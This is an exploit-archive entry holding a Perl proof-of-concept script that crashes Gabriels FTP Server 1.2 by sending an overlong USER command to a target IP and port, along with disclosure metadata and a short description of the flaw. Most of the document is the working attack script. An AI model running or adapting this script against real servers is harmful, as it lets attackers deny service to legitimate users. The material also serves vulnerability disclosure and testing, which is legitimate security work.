Exploit for Gabriels FTP Server 1.2 Denial Of Service

## https://sploitus.com/exploit?id=PACKETSTORM:176714
#!/usr/bin/perl  
  
use IO::Socket::INET;  
  
# Exploit Title: Gabriels FTP Server 1.2 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 25 january 2024  
# Vendor Homepage: N/A  
# Download to demo: https://drive.google.com/file/d/1k8QxfP6x908E-1QpRAVulKoAM9OEo1a8/view?usp=sharing  
# Notification vendor: No reported  
# Tested Version: Gabriels FTP Server 1.2  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo: https://www.youtube.com/watch?v=wwHuXfYS8yQ  
  
#1. Description  
  
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server does not correctly handle the amount of data or bytes of the USERNAME entered by the user.  
#When authenticating to the FTP server with a long USERNAME or a USERNAME with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.  
  
#2. Proof of Concept - PoC  
  
$sis="$^O";  
  
if ($sis eq "windows"){  
$cmd="cls";  
} else {  
$cmd="clear";  
}  
  
system("$cmd");  
  
intro();  
main();  
  
print "[+] Exploiting... \n";  
  
my $payload = "\x41\x2C\x41\x20\x42"x500;  
  
my $ftp_socket = IO::Socket::INET->new(  
PeerAddr => $ip,  
PeerPort => $port,  
Proto => 'tcp',  
Timeout => '10',  
) or die "Não foi possível se conectar ao servidor.";  
  
  
my $response = <$ftp_socket>;  
  
print $ftp_socket "USER $payload\r\n";  
  
print "[+] Done - Exploited success!!!!!\n\n";  
  
sub intro {  
print "######################################################################\n";  
print "# Gabriels FTP Server 1.2 - Denied of Service #\n";  
print "# #\n";  
print "# Coded by Fernando Mengali #\n";  
print "# #\n";  
print "# e-mail: fernando.mengalli\@gmail.com #\n";  
print "# #\n";  
print "######################################################################\n";  
}  
  
sub main {  
  
our ($ip, $port) = @ARGV;  
  
unless (defined($ip) && defined($port)) {  
  
print " \nUsage: $0 <ip> <port> \n";  
exit(-1);  
  
}  
}  
  
#3. Solution/ How to fix:  
  
# This version product is deprecated